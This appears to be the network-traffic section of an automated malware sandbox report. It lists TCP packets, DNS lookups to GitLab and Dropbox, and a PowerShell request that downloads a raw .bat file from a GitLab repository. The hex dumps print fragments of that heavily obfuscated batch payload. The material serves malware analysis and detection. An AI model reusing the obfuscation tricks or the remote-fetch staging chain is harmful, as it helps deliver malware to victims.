Dec 12, 2024 12:59:37.141191959 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.141210079 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.147008896 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.147054911 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.147074938 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.147079945 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.147104025 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.147121906 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.153078079 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.153120041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.153141022 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.153147936 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.153172016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.153202057 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.486835957 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.486898899 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.486927032 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.486942053 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.486985922 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.487885952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.487929106 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.487953901 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.487958908 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.487988949 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.488007069 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.488914967 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.488954067 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.488984108 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.488989115 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.489021063 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.489037991 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.489880085 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.489921093 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.489958048 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.489965916 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.489990950 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.490014076 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.490742922 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.490782022 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.490808964 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.490818024 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.490842104 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.490864992 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.491816044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.491859913 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.491883993 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.491889000 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.491915941 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.491945028 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.492691994 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.492736101 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.492810965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.492822886 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.492836952 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.492862940 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.493741035 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.493784904 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.493803024 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.493808985 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.493844986 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.493864059 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.512888908 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.512947083 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.512969971 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.512975931 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.513024092 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.513691902 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.513734102 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.513761044 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.513766050 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.513789892 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.513819933 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.514887094 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.514930010 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.514965057 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.514969110 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.514998913 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.515019894 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.515814066 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.515861988 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.515897036 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.515901089 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.515930891 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.515949011 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.519941092 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.519995928 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.520010948 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.520024061 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.520050049 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.520070076 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.525531054 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.525584936 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.525603056 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.525609970 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.525650024 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.531725883 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.531774998 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.531805038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.531810999 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.531851053 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.538134098 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.538180113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.538207054 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.538213015 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.538250923 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.688913107 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.688980103 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.689011097 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.689027071 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.689058065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.689074993 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.694618940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.694665909 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.694694042 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.694700003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.694741011 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.700666904 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.700712919 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.700730085 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.700736046 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.700771093 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.706098080 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.706146002 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.706168890 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.706176043 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.706211090 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.706223965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.712697029 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.712760925 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.712774038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.712791920 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.712817907 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.712826014 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.717818975 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.717881918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.717910051 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.717916012 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.717958927 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.723810911 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.723862886 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.723890066 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.723906040 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.723933935 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.723952055 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.729770899 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.729816914 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.729847908 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.729857922 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.729891062 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.881159067 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.881227016 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.881236076 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.881257057 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.881293058 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.881293058 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.887056112 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.887106895 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.887196064 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.887203932 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.887336016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.887336016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.893265009 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.893330097 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.893383980 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.893383980 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.893392086 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.893471956 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.898500919 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.898546934 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.898569107 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.898576021 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.898627996 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.898627996 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.904253960 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.904274940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.904325962 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.904331923 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.904375076 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.904375076 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.910047054 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.910063982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.910131931 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.910145044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.910204887 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.916060925 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.916076899 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.916121006 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.916126966 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.916155100 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.916155100 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.922071934 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.922086954 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.922265053 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:37.922271013 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:37.922332048 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:38.073193073 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.073216915 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.073270082 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:38.073280096 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.073323965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:38.073375940 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:38.079080105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.079097986 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.079164982 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:38.079175949 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.079221964 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:38.085175037 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.085190058 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.085278034 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:38.085283995 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.085410118 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:38.090445995 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.090461969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.090500116 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:38.090512991 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:38.090548038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:38.090619087 CET	49878	443	192.168.2.6	172.65.251.78

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 12:59:10.355844975 CET	192.168.2.6	1.1.1.1	0xd6a0	Standard query (0)	gitlab.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:59:14.777308941 CET	192.168.2.6	1.1.1.1	0xc06c	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:59:17.740787029 CET	192.168.2.6	1.1.1.1	0x356e	Standard query (0)	uc322a227a00e76211984e262257.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 12:59:10.494070053 CET	1.1.1.1	192.168.2.6	0xd6a0	No error (0)	gitlab.com		172.65.251.78	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:59:14.914272070 CET	1.1.1.1	192.168.2.6	0xc06c	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:59:14.914272070 CET	1.1.1.1	192.168.2.6	0xc06c	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:59:42.057008982 CET	1.1.1.1	192.168.2.6	0x9517	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:59:42.057008982 CET	1.1.1.1	192.168.2.6	0x9517	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:59:42.057008982 CET	1.1.1.1	192.168.2.6	0x9517	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49716	172.65.251.78	443	2544	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:59:11 UTC	201	OUT	GET /stare2/garmin/-/raw/main/nbavdfasfGarminde.bat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gitlab.com Connection: Keep-Alive
2024-12-12 11:59:12 UTC	439	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:59:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 34392 Connection: close CF-Ray: 8f0d8c040ef643b6-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Cache-Control: max-age=60, public, must-revalidate, stale-while-revalidate=60, stale-if-error=300, s-maxage=60 Content-Disposition: inline ETag: "780a01c50e97c7cbeee75aad609e4f8e" Strict-Transport-Security: max-age=31536000
2024-12-12 11:59:12 UTC	2131	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
2024-12-12 11:59:12 UTC	498	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 62 51 73 30 63 62 36 53 50 72 42 44 35 70 6a 4e 32 50 45 56 50 36 5a 74 48 36 4d 63 4e 38 42 71 38 4f 37 77 30 54 44 69 67 44 31 39 78 56 6e 39 76 53 34 49 54 51 50 6f 58 74 6e 53 41 67 6e 30 25 32 46 35 4f 74 63 56 38 58 41 41 56 76 70 4f 34 54 62 50 49 59 39 4f 57 53 6f 25 32 46 61 48 6e 76 6a 46 6b 45 76 43 6d 38 57 6e 31 41 33 63 37 35 66 68 49 39 62 49 4b 35 56 39 34 71 77 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bQs0cb6SPrBD5pjN2PEVP6ZtH6McN8Bq8O7w0TDigD19xVn9vS4ITQPoXtnSAgn0%2F5OtcV8XAAVvpO4TbPIY9OWSo%2FaHnvjFkEvCm8Wn1A3c75fhI9bIK5V94qw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"
2024-12-12 11:59:12 UTC	1039	IN	Data Raw: ff fe ff fe 3e 6e 75 6c 20 32 3e 26 31 20 26 63 6c 73 0a 40 40 65 25 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 8a 99 cf 89 e2 8a 99 29 5e 25 63 68 25 28 e2 97 95 e2 80 bf e2 97 95 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf e2 97 95 5e 29 28 e2 97 95 e2 80 bf e2 97 95 29 25 5e 25 28 e2 8a 99 cf 89 e2 8a 99 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf 5e e2 97 95 29 25 6f 20 6f 25 ef ae 95 ef bb 81 5e ef bb 81 Data Ascii: >nul 2>&1 &cls@@e%( _)()()()()()^%ch%()( _)()()(^)()%^%()( _)()()()(^)%o o%^
2024-12-12 11:59:12 UTC	1369	IN	Data Raw: 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 25 5e 6d 20 34 5e 33 37 29 3e 6e 75 5e 4c 26 40 65 63 68 25 28 e2 8a 99 cf 89 e2 8a 99 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 97 95 e2 80 bf e2 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 8a 99 cf 89 e2 8a 99 29 5e 28 e2 97 95 e2 80 bf e2 97 95 29 25 5e 25 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 8a 99 cf 89 e2 8a 99 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e3 83 be 28 e2 8c 90 e2 96 a0 5e 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 25 25 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 97 95 e2 80 bf e2 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 Data Ascii: (_)%^m 4^37)>nu^L&@ech%()( _)()(_)()^()%^%()()( _)(_)(^_)( _)%%(_)()(_)(
2024-12-12 11:59:12 UTC	1369	IN	Data Raw: d8 aa ef ad b2 ef af a4 ef af 94 25 25 d8 b3 ef af a4 ef ae b1 ef ad b2 ef b7 bd e2 97 af 5e 25 78 5e 25 ef ba b9 ef ba 96 ef ad b2 ef af 94 e2 97 af d8 aa 5e 25 69 74 0a 40 40 25 50 75 42 6c 69 63 3a 7e 34 2c 31 25 25 50 75 42 6c 69 63 3a 7e 35 2c 31 25 74 20 22 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3d 38 4b 64 4d 4e 59 79 71 39 68 35 51 34 20 25 50 75 42 6c 69 63 3a 7e 33 2c 31 25 77 41 33 58 40 66 4a 37 25 50 75 42 6c 69 63 3a 7e 31 31 2c 31 25 3d 4c 70 32 6d 25 50 75 42 6c 69 63 3a 7e 36 2c 31 25 25 50 75 42 6c 69 63 3a 7e 39 2c 31 25 54 45 6e 53 52 6b 44 25 50 75 42 6c 69 63 3a 7e 34 2c 31 25 49 7a 57 76 25 50 75 42 6c 69 63 3a 7e 31 33 2c 31 25 25 50 75 42 6c 69 63 3a 7e 31 32 2c 31 25 46 4f 78 47 67 48 25 50 75 42 6c 69 63 3a 7e 31 34 2c 31 25 30 5a Data Ascii: %%^%x^%^%it@@%PuBlic:~4,1%%PuBlic:~5,1%t "=8KdMNYyq9h5Q4 %PuBlic:~3,1%wA3X@fJ7%PuBlic:~11,1%=Lp2m%PuBlic:~6,1%%PuBlic:~9,1%TEnSRkD%PuBlic:~4,1%IzWv%PuBlic:~13,1%%PuBlic:~12,1%FOxGgH%PuBlic:~14,1%0Z
